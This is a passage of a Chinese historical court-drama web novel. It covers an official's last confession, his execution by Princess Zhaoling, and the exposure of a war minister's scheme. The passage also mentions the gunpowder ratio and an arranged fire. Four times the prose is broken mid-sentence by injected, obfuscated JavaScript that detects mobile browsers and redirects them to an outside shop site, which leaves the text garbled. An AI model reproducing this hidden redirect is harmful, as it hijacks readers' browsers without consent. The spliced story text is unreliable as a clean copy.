说完几字，他骤然卡住，对自己临死前的天真爆发出一声巨大的嘲笑。 他在干什么？年过半百之人，还存这份天真？托仇人照顾自己的妻女，看来自己真是彻底疯了。 “公主可否高抬贵手，不再报复我的亲族？”邢承远知道昭灵公主无法左右朝廷判罚，但在流放路上继续打击报复是轻而易举。人之将死，为族人留点善言也好。 牧晓欣然同意。她原本就没打算动手做这种事。 她和邢承远在西南时就话不投机，根本无法协商共事。她也懒得去猜对方脑中到底转了什么圈子，才问自己这个问题。 为官能耀及全族，临死之际还不忘最后保一把族人。邢承远觉得自己算仁至义尽，有脸向九泉之下见列祖列宗。 “公主应当明白，我下面说的这些，不能成为呈堂证供，只是随口讲个胡编乱造的故事罢了。”严肃说完这句后喘口气，他轻飘飘地再次开口，不甚在意地说起玄岳关，“战报上有的就不说了。说实话，我一直后悔，觉得给自己的战功还是报少了。” “因为主将早死了。” “啊，他的死亡时间没错。这点逃不过仵作的眼睛。我说的死亡，指对战局的作用。” “在第四日，敌军主力被他巧技逼出大玄岳关后，他就丧失了行动和言语能力。” 第四日，也是就是20日。那一日，整个战局全面向好，左上部敌军早被苏、段二人两队联合剿灭，左下部敌军还未进入大小玄岳关之间。大小玄岳关和草都蛮死寨尽被攻下，大周朝军队已立于不败之地。 但凡苏老将军没有在此时丧失行动能力，但凡有位将领能不因苏老将军将死之态慌乱，而是站出来，带大军出大玄岳关，与小玄岳关的守军一同夹击敌军主力，玄岳关的战果会更加辉煌。 可惜战场机遇转瞬即逝。20-21日这空白两日，没有改变胜利的结果，却改了澜西河渡口前奋力杀敌的两队将士的命。 “为什么不能如实写上战报？”邢承远从牧晓的脸色上原原本本读出这句话，看着仇人揪心的表情，心情大好，还开能开个玩笑，“因为……你。” 他指了指牧晓。见对方神色上空白一瞬，更加快意了。 “当然不是。而是因为……”他收了这个并不好笑的玩笑，手指转向，指了指天。 这是指当今圣上的意思。 这次牧晓的表情没有变化。 邢承远有些遗憾。关子卖够了，他继续讲下去：“战中杀将，显得多心急、多难听。我们几个知道布局，自然也清楚是谁让主将落得这般下场。一时谁敢带兵出大玄岳关？小玄岳关守军接不到传信，自然也不敢轻举妄动。” 更没人敢按原计划，往苏老将军亲子那边派援军。 “我也有不明白的地方。”邢承远想起件他至今不明白的事，“我们不敢，但段将军敢。甚至不是为了救人——等段将军截到左下部敌军，苏小将军那队早就死光了——仅仅只是为了抢下自己同袍的尸体。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810545|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 澜西河渡口，两位年轻的将领共同歼灭一支敌军后分别，继续履行自己还未完成的使命。 一队掉头向东，终于布好了局，可以背水一战，彻底解决自己背后周旋已久的一寨追兵；一队向南急行，准备和己方援军汇合后，完全截住左下部敌军。 段将军不知，援军在这几日是不会到来了。他仍在对应地点焦急等待着，一日又一日。 他没有等来援军和军令，等来了左下部砍下自己同袍的头颅，正在四处炫耀的消息。 那个前几天还与他一同歼敌、运筹帷幄、意气风发的苏小将军，已是一具尸体，挂在敌军旗杆上。 是带队后撤避退、保全性命，还是为同袍尊严、为拖住敌军奋力一搏？ 显然，段弈钧和他的兵士毅然决然选择了后者。 “更让我惊讶的是，这两支迟迟没有等来援军的队伍，不仅顺利完成了出征前的既定目标，甚至在发现草都蛮主力即将逃散向山中时，不约而同选择蚍蜉撼树。”邢承远回想到此处，饶有兴致地说，“被抛弃之人还要为抛弃自己的国家一战。说我当时得知后没有敬意，是不可能的。” 但这不影响他为了升迁，掐准时机，在写战报时抹杀、抢占其中一支队伍的战果。 因必须隐瞒苏老将军“死亡”时间，而失去后来彻底歼灭敌军主力的硕果，邢承远相当遗憾。父债子偿，他不过是捞了点微小的甜头。 “不过，昭灵公主不必为这两位将领可惜。”看着这位和自己孙女年纪差不多的女子，想起她三年前跪在火中的样子，邢承远心里竟突然升起一股怜悯，“段弈钧并不无辜——他身上有毒药，大概本就是为苏氏父子准备的。” “至于你那位驸马，”邢承远顺口出言提醒，“我看是个做枭雄的好材料。” “据俘虏说，他遇到敌军主力，手下就那么几个人，竟有胆唱一出空城计，拖了半日；被识破后，差点把敌军主将引到澜西河里；最后中了近乎致命的一箭，还借自己身份挑得主寨人马和刚到的左下部援兵争执起来，以身为饵想让手下剩余兵士趁乱逃走。” 邢承远说到此处，几乎忘了自己身陷囹圄，似还在家中品茶教育小辈一般：“小心被这种人背叛还不自知。” 话音未落，他听到牧晓轻笑出声，一句话把他拉回现实：“明日问斩，还不忘传道授业。” 邢承远趴伏在地上的身形一顿，突然看清眼前被窗外日光照得清晰的粒粒飞尘。 牧晓声音在牢中回响：“怎么还可怜起我来了？” “邢承远，最后几个时辰，多想想西南含冤百姓和玄岳关英魂吧。” “你到底是谁的将领？到底是谁的父母官？” “实在都想不起来，想想被你牵连的无辜族人也行。” “你到底还有没有良知？” 说完，牧晓起身，头也不回地走出刑部大牢，不再给地上僵住的邢承远任何一个眼神。 26.手起刀落 行刑当日，黄连黄芪与其他从西南前来充当人证的百姓一同站在前排，看着昭灵公主手起刀落。 鲜血飞溅的那刻，黄连还是下意识地想去捂妹妹的眼睛。 黄芪根本不怕，以为姐姐太激动了，想冲上去，反手一把扣住姐姐的手腕就往下拽：“姐，人已经按律斩了，死透了。这么多人看着呢，别再上去揍他了。” 有段时间为了填饱肚子，杀鸡剖鸟解鼠这种事她们常做，怎么还会怕血。只恨律法不许她们和其他西南百姓一人一刀捅死那被判斩之人。 黄连听到妹妹的话，知道她误会了，叹了口气，没有解释。 凝望着染红的沙土，她想起被兄长的血浸湿的破布单，想起凝着父亲干涸血迹的衣衫，想起母亲被丢出府衙时磕破了头，头上的血一滴一滴融进雪里，朔风一吹，也冻在她心里。 “姐，别哭。仇人人头落地是喜事。”黄芪正和周围人一同鼓掌叫好，见状赶忙用手背去擦姐姐脸上的泪，又伸出两根手指，把姐姐的嘴角架上去，“今天日头多好呀，笑一笑，我们去逛京城去。” 黄连回过神，眼泪还未止住，但确实在阳光下扬起了唇角。 在周围几人边哈哈大笑、激动叫好，边跪地痛哭、叩谢公主替天行道的对照下，她们两个的动作并不显眼。 外圈百姓都要散了，黄芪还在频频往斩首台上看，最后忍不住小声道：“姐，你说我能问问昭灵公主，可不可以让我摸一下鬼头刀么？看起来好沉，但公主挥得好轻松啊。” 情绪恢复过来的黄连，捏着妹妹的双颊轻斥：“还摸鬼头刀，看我不把你捏成个小鬼头。” 台下，被阳光下的鬼头刀多次晃了眼的黄芪，没能成功摸到她惺惺念念的鬼头刀。 台上，被黄连那滴泪晃到的牧晓，心中一烫。 上次在洛水刑场监斩，她没有过多注意到行刑后台下的反应。 大抵充斥着被斩者亲人压抑的痛哭，和围观百姓骚动后的死寂。 儿时因家中的刻意保护和分隔，在那个斩首更频繁的前朝，她从未围观过行刑，甚至很少看见血腥。 原来刑场上砍下一颗头颅后，还会有百姓欢呼鼓掌。牧晓脑中莫名其妙浮现出这个念头。 走下台，她正慢条斯理地擦去手背上沾的血渍，感受到有人抬手轻轻抹了一下她的面颊。 “怎么，看黄连捏黄芪的脸，你也想怀念一下，当年第一次捏我的脸、被我追着打了三里地的经历？”牧晓头也不抬，随口打趣道。 “沾了血。”苏墨清见她心情不错，放下心来。 牧晓低着头啧了一声：“前几日请教过老刽子手，没想到还是溅到自己身上了。先回去洗洗。” “昨日见邢承远，关于我的部分，他说了什么？”苏墨清端详着她的动作和神色，冷不丁问。 牧晓闻言动作一顿，终于抬起头，失笑道：“你和我皇兄是不是交流总结过什么心得。怎么我一有点不想瞒着，却不知怎么开口的话，你们都能看出来。” “回去再……”地下光影闪动，本着对周围环境的警觉，牧晓骤然止住话头。 树上似乎有什么东西在动。 两人不约而同伸手去拉对方，极速后退几步。 一片人影飞快从不远处的房梁上飘下，肩上抗着个大网兜，三步并作两步直接蹿上树。 那人挥舞网兜竹竿向前套去，把树上欲逃之人迎头兜住，费力拖至地面后，发出大仇得报的怪叫：“哈哈哈，在小爷我的手底下，你插翅难逃。还不速速束手就擒。” 牧晓看清了。挥网兜之人是段弈哲，被套住的，竟是暮药师。 段弈哲已扑了上去，掏出不知已换了几轮的新麻绳，无视那人的拼命挣扎，轻车熟路地把人带网兜一起困成端午粽。看那人还能扭动，他又掏出捆新麻绳，把人直接绑到树干上。 “陶云鹤呢？不是约好在这附近见面来着？”段弈哲心满意足拍拍手上灰尘，自己嘟囔几句后，向四周转头找人。 左转，无人；右转，与缓步上前的牧晓四目相对。 段弈哲头顶轰然发凉炸开，汗毛倒竖，悚然一惊。第一反应并不是眼前的黑衣女子到底是谁、长相如何，而是察觉到那未散的血腥气，以及女子眸中的凛冽寒光。 和刚杀了人似的。段弈哲脑中突突直跳，向后踉跄一步。 “害怕什么。我又不会也砍了你。”牧晓与段弈哲擦肩而过，撂下这句话后径直向树上绑着的人走去。 被绑的暮药师自行脱困未果，刚想豁下脸皮大叫，向周围住户、百姓和正在处理刑场的官兵求助，见牧晓走来，直接闭上嘴，恢复世外高人的做派。 “暮药师，您老上次不告而别，药还没采完呢。”牧晓在距离树干两步左右的地方停下，毫不遮掩地盯着他左额上伤疤，“您救了我驸马，我还未曾好好谢过您呢。到我府上作客，再请您喝杯茶可好？” 不出所料，绑在树上暮药师还未回话，段弈哲先急得跳脚：“昭灵公主，万万不可，这人要带进宫里去……”剩下的话卡在喉咙里，怎么都不能说了。 “你刚从西南回来吧。见过玄岳关了么？在边境上祭过你兄长了么？”牧晓偏头看向段弈哲。 提到此处，段弈哲像是被兜头浇了盆冰水，默然低头。 “身手不错。段家真是深藏不露。我之前从未听闻你习过武。可惜来得有些晚，没看到罪魁祸首之一人头落地，不遗憾么？”牧晓语气平静，声音不大但句句狠砸在段弈哲耳中，砸得他眼冒金星。 什么意思？段弈哲仓皇想到，邢承远被判斩不是因为在西南横行霸道么？ “想什么呢，这么入神？”陶云鹤哥俩好地搭上段弈哲的肩。 段弈哲浑身一哆嗦，拔腿想追上前去问个明白。 “哎哎哎，跑哪去啊，去找谁啊。”陶云鹤不明就里地被他带了个踉跄，一把把他撤扯回原地。 段弈哲茫然抬头，发现昭灵公主早就走了。 他木然回头看向树干，眼前一亮——暮药师还被绑在树上。 “兄弟，别发呆了。一会和个石头人似的，一会比年猪还难拉。”陶云鹤不解，但习惯让他从来不问，一心只想做完眼前事，“快点啊，我叫来了人，一起把他送进宫，他就再也跑不掉。” 想到此处，两人双眼泛出看到黄金与美食时专有的精光，目光如炬，似恶虎看羔羊。 暮药师直觉自己的衣角都要别这目光点着了。 未曾想自己到了这般年纪，命里还有一劫。 江湖术士果然不可信。他走遍天下，算命先生见了千百，谁都未成功预言到他会在晚年遇到自己的克星——他从无败绩的出逃之术，竟被一个毛孩子破了。 不怕侠士身手好，就怕流氓鬼点子多。暮药师在被抗向马车的路上，嚼着自己的长胡子，望着青白的天唉声喟叹。 · 已回府的牧晓正望着天际出神。 “大小玄岳关内周旋六日，难么？没有援军，不心寒么？”听到身后的脚步声，牧晓在寂静中突然出声。 “接一令，定赴命；誓一言，必竭力。至于寒不寒心……”苏墨清在她身后的位置上坐定，顺着她的目光也看向天际，“自然。” “进京前，马车上，和你说再提三年前之事已太迟了，因为逝去的同袍无论如何都不可能再回来。” “你递给我‘不平事’后，要是再回头看一眼，会更明白。” 牧晓放在窗棂上的手指轻叩一下，怅然道：“原来是这样。我以为你只是不想回来，或是和他们一样，只想搪塞我罢了。” 三年多前，所有人都把她当傻子般敷衍——兄长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814454|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这样，余姐姐是这样，府衙是这样，延国公府是这样，地方官吏也是这样……所有她往日自以为熟识的人和地方，所有她从未碰过壁的地方，在她终于自己放下堵住耳朵的手，试图听到一个真相时，都是这样。她的世界天翻地覆，完美画风骤然开裂崩解，一夜之间全换了样貌，漏出背后隐藏已久的贫瘠与溃烂。 “知道你冤枉我，没有什么表示么？我搪塞过你么？” “牧晓，这一点都不公平。” 听到身后幽幽怨怨的语调，牧晓明白他又想逗自己开心。 她还就吃这一套。 “嗯？怎么不公平？”牧晓转过身，挪了几下，手肘撑上几案，离他更近些，“你自己又不说清楚，怪谁。” “不公平之处在于，我们明明约定过，对对方有不满，一定要直接说，直接问清楚原因。”苏墨清用当初在入京前马车上一样的神色，静静看着她，“你觉得不快、觉得被敷衍，一定要问‘为什么’。我一定会答。” “我并不是那样敏锐、那样会调节气氛的人。我有时真的不知道该说什么。很抱歉我到现在还是做不到那样好，但……” “你道什么歉。嗯？傻不傻。”牧晓突然又转身偏向另一个方向，声音有些发闷。 我真是越活越回去了。听了这么几句话就想掉泪，实在没出息。牧晓在心里自嘲。 她听到背后的人不知所措地又说了声“对不起”。 苍天啊。她仰头绝望地对自己说，别哭了，别哭了，有什么好哭的。是今天砍人没砍够，还是怎么着。过去了，都过去了，旧事重提有什么意思。 “好，那我问你。为什么寒心了还同意和我回京？为什么马车上叫你未婚夫你又那么惊讶？不信我么。要是不信，要是我真改嫁他人，诱你回京该邀功邀功，该顶罪顶罪，你怎么办？” “你实话说，看到与原公主府规制截然不同的车驾，你没疑过么？在西南能找到我前，又听了多少流言，你没信过么？” 天哪，你到底在说什么。牧晓听到自己说出来的话，泪水更止不住了。你明明没有这么想，你明明自己知道他的答案。 她立马打断了自己诛心般的问题：“对不起……对不起。不用答了。我说错话了。答案我知道。忘了刚才那串问题吧。我从没想过那样做，也不该疑你。你已经做得够好了。我只是，我只是……”哽咽的声音越来越压抑。 她被抱住了。一双手臂从身后紧紧揽住她，她听到耳边传来叹息般的低语：“不用回头。我不看。但还是要答的吧。” “因为你。只因为，是你。回京是因为不想和你分开，也不想让你为难；惊讶是因为觉得自己不配昭灵公主为我困一辈子；还能被拿来邀功没什么不好，至少还有用；顶罪就顶罪吧，能让你开怀就好。” “找到你之前，没空想那么多；看到你之后，也没注意过那么多别的东西。” “显然，我做得没有你好。” “别摇头，也别回头。现在是在我求你别回头。” “回头我就说不出口了。” “年少时就一直想谢谢你，现在更是。” “我真的是你的良人么？有能力比我做得更好的，大有人在。” “求昭灵公主垂照者无数。我不过是其中最好运的那个。” “坚定，果敢，想要就去光明正大争取。在你不知道的时候，已带我走了很长一段路。” “就像现在，如果不是你的坚持，我未必有机会知晓玄岳关之战的另一面。” “谢谢你。” 牧晓的眼睛被轻轻遮住。 “休息一会好吗？昭灵公主有多久未曾好好歇息了？脑中事过多，即使梦里也不得闲吧。” “不过，你还是该疑我的。” “完全信任任何人，都容易受伤。” 27.双焚对账 牧晓昨日闲了半天，晚上又有人哄着，难得没有做什么光怪陆离的梦，今早醒来后自觉神清气爽。 她转过拐角去书房，进屋瞥见炭盆，脑中电光火石间有了灵感：“昨日，你是不是话里有话。” “就是关于‘不要完全信任任何人’那句。”新一日清晨的头脑好用多了，她抓住那丝稍纵即逝的引线，“有什么人在玄岳关之战中和‘信任’二字有关？” “刘尚书和苏老将军么？刘尚书在玄岳关之战中扮演了什么角色？”牧晓语速飞快，语气肯定地问。 “刘尚书确实下了手。不过，大清早的，怎么想到的？”苏墨清略微有些诧异。 “前几日因为那道旨意，光顾着琢磨和邢承远有关的事了，实在没仔细想，那日在宫里，我皇兄赐的那两盆炭，到底什么意思。”牧晓盯着炭盆咬牙道，“还一人一盆上了……他真是看人出殡不嫌事大。” “邢承远背后肯定有人，官职还不小。百听阁烧在邢承远尚有反抗余力的阶段上，不说是他背后之人动的手，至少和他这件事有千丝万缕的联系。” “百听阁大火最让我觉得古怪的点在于，要是邢承远背后之人下手，就算抱着一把火就能吓退我的幻想，也该下手再狠些。这样不痛不痒，到底有什么意思。” “兵部怎么大事小事都在和稀泥……现场那断裂的云梯，真的是偶然么？东城兵马指挥一直试图向天灾上靠，真的只是小官吏试图减轻自己的失察么？半条堵塞的沟渠，到底只是巧合，还是能有什么用处？” “万事都和稀泥也就罢了，刘尚书偏偏一口咬定邢承远是自焚。就算真的很像自焚，火可没烧哑邢承远，他怎么就不说？兵部也完全可以继续闭眼搅合，说炭火质量不佳、意外起火就是了，怎么还坚定起来了？” “我能想到的解释就是，刘尚书至少与邢承远有关系。”牧晓语气放慢，认真思索，“他们之间有我没查到的联系。” 牧晓说到此处，对他眨眨眼睛：“其实最反常的，是你。” “你那关于玄岳关的折子，递给兵部是没错，但为什么要递给这个和稀泥的兵部？我的折子递给都察院，都察院不知权衡了什么，直接闹到最大。你的折子也可以递给都察院，还能给邢承远加把火。” “因为你在疑兵部。” “百听阁大火后，关联到刘尚书，你说他与苏老将军私交甚好，但看不惯邢承远……” “你早就盯上他了。” 牧晓顿了一下，眸光一闪，恍然加上一句：“或许在更早之前，你也早就盯上百听阁了。” “对。”苏墨清干脆地承认，“百听阁能烧起来，也有我的一份。和闻阁主商议的。” “闻玄机？他不像知道的样子……你是说闻笙？”牧晓在窗边踱几步，“也就她有这份敏锐和气魄了。” “东城百听阁先后卖给你、段弈哲、陶云鹤消息，内容实在是犯忌讳。公主府产业颇多，我平时无暇顾及他们怎么经营，但江湖和民间产业，不要涉官府事朝中事，这是铁律。” “闻笙不爱出门也不爱和人打交道，但从来都是闻玄机的主心骨，也是闻氏相关产业的掌舵人。百听阁从来都不只有闻玄机这一个‘闻阁主’。闻玄机在西南时，京中就是闻笙居中调度。” “闻笙早就攒了那些信息，以备不时之需。” “她在看准时机帮我。即使犯朝中忌讳也在所不惜。”牧晓不再踱步，原地站定，轻跺一下地，转头看向苏墨清“东城百听阁，迟早会销声匿迹。你们商议的是，如何让它销声匿迹得合理，且有价值。” 苏墨清顺势接话：“这时，刘尚书派人给我递消息，用长辈般的语重心长，告诉我，他可以帮我。” “看在他和苏老将军是旧友的情分上，他不仅可以帮我将递给兵部的内容一锤定音成事实，还能帮我夺回延国公府，甚至在兵部谋个差事。”苏墨清提到此处，实在忍俊不禁，“我也是第一次知晓这位以和稀泥闻名的刘尚书，这样自以为是。” “听起来真像天降馅饼。这馅饼里，他又掺了什么毒？”牧晓抱臂扬眉，笑容愈发灿烂，“他不会是想诱导你和我闹起来吧。我突然想起，刘尚书的某个儿子，特别喜欢跑我面前做点意味不明的表演。我以为他立志当街头卖艺人，还借了芒夏一角碎银扔给他。” “刘尚书似乎觉得我是不得不待在公主府里，或许还是被你强留在公主府里的。”苏墨清嘴角上扬，语气中挂上讽刺，“这点大概得感谢我父亲。他们二人确实是多年挚交好友。我父亲私下看不惯邢承远的做事方法，刘尚书表面上也有样学样；我父亲觉得我剑走偏锋、路数不正，刘尚书对我的看法，显然是照葫芦画瓢。” “他还暗示我，他手底下有个炭火铺，可以助我做些文章。不巧的是，那正是为东城百听阁供炭的铺子；巧的是，我当年隐约听我父亲提及，邢承远疑似有私自开矿的门路。”苏墨清摊手笑道，“他们两位即使相隔阴阳，当年不经意挖下的深坑，仍出现在对方的前路上。” 牧晓听后豁然开朗：“这就对了。他在朝中觉得风向不对，早就决心弃了邢承远。朝中官员不可私自持有炭火铺，定是挂在他人名下，出事也不会波及到他。但不论挂在谁名下，供炭的都是邢承远。出事后深挖，不过就是给邢承远的罪名再添实证罢了。” “到时候，不论你怎样用那些动了手脚的炭火，你不慎被查出，就是你我离心；你手段高明，查到底，就是邢承远对我的威胁报复。” “那他怎么还会一口咬定邢承远是自焚？掀开百听阁大火内幕，至少能让此事变成我和邢承远的冤冤相报。”牧晓不解。 “因他们贪心。驿站向来是兵部所辖范围，邢承远那爆燃的炭火，与东城百听阁烧起的炭火大概是同源。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821373|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”苏墨清垂眸细思，“百听阁起火查出那家炭火铺，可以推说是炭火种类给错，作为民间买卖纠纷处理；但涉及邢承远，朝中下手查案必定掀个天翻地覆，甚至会和百听阁大火并案。” 牧晓顺着往下推：“到时候，为何兵部负责的驿站中会与邢承远私自买卖的矿产，这一点就足以令人生疑；甚至无需查到京城那家与他相关的炭火铺，这一点就够朝中人大做文章了。” “而邢承远，实际上不知百听阁大火。他私自买卖矿产这件事被埋得很深，我未曾查到，都察院也未往这方面调查——光是我递上去的东西，就足够骇人，足够砍他好几回了。” “刘尚书怕牵连到自己，所以让邢承远得知爆燃炭火的来源；邢承远本着罪名能少一件是一件的原则，只能打落牙齿和血吞，咽下这口气，承认自己是畏罪自焚。”牧晓觉得这环环相扣的故事实在有趣。 苏墨清偏头问她：“你又是怎么让炭火爆燃的？” “这个么，其实也是受了百听阁大火的启发。我并不知晓驿站中炭火的特殊来源，所以难的并不是如何让炭火爆燃，而是怎样给炭火爆燃一个近似于意外的合理性。”牧晓细细回想当时的思路，“西南多高山深涧，虽位于南方，但冬季常有大雪，相当寒冷。硫磺可以用来治疗未溃烂的冻疮，算是西南这个季节的常备药物。” “而民间治疗牙齿疼痛有一偏方，是将硝石研细，用棉蘸取少量，塞入口中，用来暂时止痛。” “我在西南也算是和邢承远暗里斗过几回。我自然要多加了解自己的对手。”牧晓微笑，“冻疮和牙痛，他都有。硫磺和硝石，是他药袋中的必备之物。” “火药制作中，一硝二磺三木炭，这是常识。” “只要在他的药袋配比上下功夫，再见机让它‘不慎’被邢承远自己碰掉火中，‘刚好’引燃床铺……由头就有了。” “为了让他伤到必须前去往尘寺就医，也只好前去往尘寺就医，再来一些迷药就够。”牧晓就此停住。 她看了看窗外，估摸着时间，把话题扯回开头之处，“到现在，还没说刘尚书在玄岳关之战中起了什么作用呢。他下了什么手？” “主要在军情传递上。”苏墨清从旁边书架上抽出那卷西南到京城的主要道路图，扬了扬，“按军中写战报的大致时间和消息到京的时间来看，有人在其中刻意排布了消息到京的时间顺序，掌握着两边的通信节奏。” “这是邢承远能成功篡改战场事实的重要助力。” “战局部署再怎样保密，总是要向兵部上报。怎么到邢承远改动的地方，偏偏就一笔带过，且无人追查细究？邢承远在西南横行多年，他的考核评级是谁做？这真是他第一次被检举么？往日都是谁出手拦了下来？” “兵部现在这幅样子，这位刘尚书真如他表现的那般，年纪大了，无欲无求，只会和稀泥么？” 28.獬豸望月 “说不定这种中庸之道，恰合现在朝堂形势？”牧晓凝眉猜测，“这位兵部尚书表面算不上尸位素餐，手段也隐蔽，一时半会还倒不了。” 要撼动一部尚书谈何容易。更何况是这样一位历经三朝不倒、在朝中树大根深、旧故遍天下的兵部尚书。 现在边疆小型摩擦不断，但大周朝已以无可撼动的姿态，令大多数边境部落和小国俯首称臣。四方皆无足以动摇国本的强敌与大战，年号又是文昌，如此显而易见的倾向，兵部和武将们收敛势力、韬光养晦，也算正常。 “殿下，该去通政司了。”芒夏走进书房提醒。 牧晓听后，摁着桌上一堆文册顶，无奈道：“光顾着聊这大半月的旧事，递上来的新文书和信件还没来得及看。” 总不能拿到通政司去。牧晓抱起一摞掂量掂量，回头用期待的目光问靠在书架旁之人：“你今日有事吗？” 苏墨清看出她的意图，走过去接过那叠文册：“算不上有。放那吧。我挑出你一定要决断的，其余总结好后晚上和你说。” 儿时让他在学堂小试前帮忙分析先生所讲要点，自己和他勾肩搭背称兄道弟；现在让他帮看文书，牧晓习惯性脱口而出：“好……” 苏墨清挑了挑眉，意味深长地看着她。 牧晓把没出口的“兄弟”二字收回，狡黠一笑，上前一步，换上暧昧的语气贴在他耳边说：“是好夫君。” 说完，不等对方放下手中文书，她带笑快速退后几步，挥挥手，转头走出书房门。 · 通政司与登闻鼓相距极近。过了下马碑，牧晓走下马车，遥遥再见鼓面上的獬豸纹，脚步放缓几瞬。不过她并未驻足，而是将目光移向通政司的方向后，加快了脚步。 上三级卷云纹石阶，过题有“通政使司”四字的蓝底金字匾额，进朱红漆门，青砖照壁映入眼帘。圆形獬豸望月图案与庭中古柏一同静立，廊柱后摆放两个朱红色木箱。左侧木箱上刻 “直达御前，不得私拆”，右侧木箱上刻“投告有据，诬告反坐”。 牧晓来通政司并不大张旗鼓，也不扰乱干涉通政司日常事务，官员在躬身行礼后继续各司其职。她穿过大堂，颔首谢过进门接应官员，随堂上徐通政使前往角落特设的屏风后。 徐通政使恭敬道：“按陛下所言，殿下可查一切公文台账、奏章副本、已拆封奏章等。除机密奏本不可拦拆外，提及殿下的奏章亦不会递到案头，其余并无限制。殿下亦可随时传召问询包括臣在内的通政司各级官吏。” “有劳徐大人了。”牧晓回礼后，便开始静坐看旧日奏章底簿和差错公文案卷。 对她限制这样少，即使她坐在此处只是剥瓜子仁，都是对通政司的莫大震慑。毕竟身为通政司长官的通政使为正三品，而她刚主刀砍了西南正三品都指挥佥事的脑袋。 邢承远人头落地，杀鸡儆猴以儆效尤，朝中官员再无人敢明面上敷衍、轻视于她。即使她在京仍只是公主身份，并未被授予别的实际职权。 通政司主要负责临时登记、收发、核验奏章文书，不负责长期保管奏章或奏章副本。底簿中多是奏章内容节略，比奏章本身好读太多；差错公文案卷记有格式、内容不合规范等的奏章错处，明确列出通政司封驳原因。 有一近日的差错奏章，引起了牧晓的关注。 牧晓想起，她和苏墨清前去往尘寺见邢承远那晚，在后山腰的小堂中，遇上了一阵短暂的雷打雪。 这封奏章来自京城附近的平良县，报了那场雷打雪后，县内山体崩塌与水灾致使200户居民受灾。 被记入差错公文案卷，自然不是因为奏章内列的事件内容，而是因朱语过长、浮词过多——开篇堆砌过多典故，辞藻华丽地歌颂圣上功德，未立刻提及灾情；提及灾情部分，一味说百姓困苦，除受灾户数外，未列明如田亩损失、百姓伤亡、初步处理、赈灾方略等内容。 还有最重要的一点，这份奏章涉及蓦越奏告——这竟是平良县官跳过顺天府直接上的折子。 “水灾……蓦越奏告……”牧晓皱眉默念，觉得这封奏章实在古怪。 不论是在京郊还是西南，雷打雪都实属罕见，但牧晓在西南那段时间里处理过一次。 那次雷打雪持续时间，比京郊这场强得多，气温骤降幅度也比京城这些日子的剧烈。 京城自雷打雪后，气温未再回升，一直是大风和干燥的晴日。平良县距京相当近，气候温度基本一致。若是上报冻灾或山火，还算正常；至于崩塌和水灾，应很难发生才是。 牧晓站起身向屏风外走去，想先招人找来徐通政使询问具体情况。 往外走几步，她听清了通政司大堂内的争论声。通政司官员们恰好在议顺天府递上的有关灾情的新奏章。 “前几日平良县蓦越直递受灾折，写的明明是山体崩塌和水灾，为何顺天府接连递上的，是关于流民和山火的折子？” “平良县背山面水，在雨雪两季，山崩和洛水泛滥常有，无甚稀奇。但顺天府查明的，竟是山火。这又是何种说法？近日风大日晴是不错，但水可灭火是天则。雪亦是水，雪后山林反而走水，还未尝听闻。” “平良县官本就越权奏报，罪责难逃。谅其救灾心急，或有机会从轻处罚。但若是连灾情都报反，岂非性命难保？灾情造假，多为私吞多余赈灾粮款，又何必多此一举、越权奏报？” “雪后山火确有记载。近年京城未曾有，只因近年多大雪，雪后常升温。此番雷雪骤袭，引发山火也并非全然没有可能。”徐通政使出言。 “雷雪同至，京城附近至少百年未闻。何曾有先例可循？” “京中未有先例，但前几年西南就有雷雪同至之状。”徐通政使缓缓道，“且当时的地方赈灾者， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826086|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日刚好在我通政司堂中。” 通政司大堂气氛霎时凝住。 昭灵公主这几年轰轰烈烈之事数不胜数。 最脍炙人口的，还是她京中嫁已亡人、西南灭杀夫敌、今秋携旧人归京的故事。画本、剧作、讲书，这些流传最广的东西，从来喜欢把男男女女往痴情人方向造神造仙。 但在朝中，让昭灵公主之名真正横空出世的功绩，是那场西南雷打雪后，玄岫城四灾。 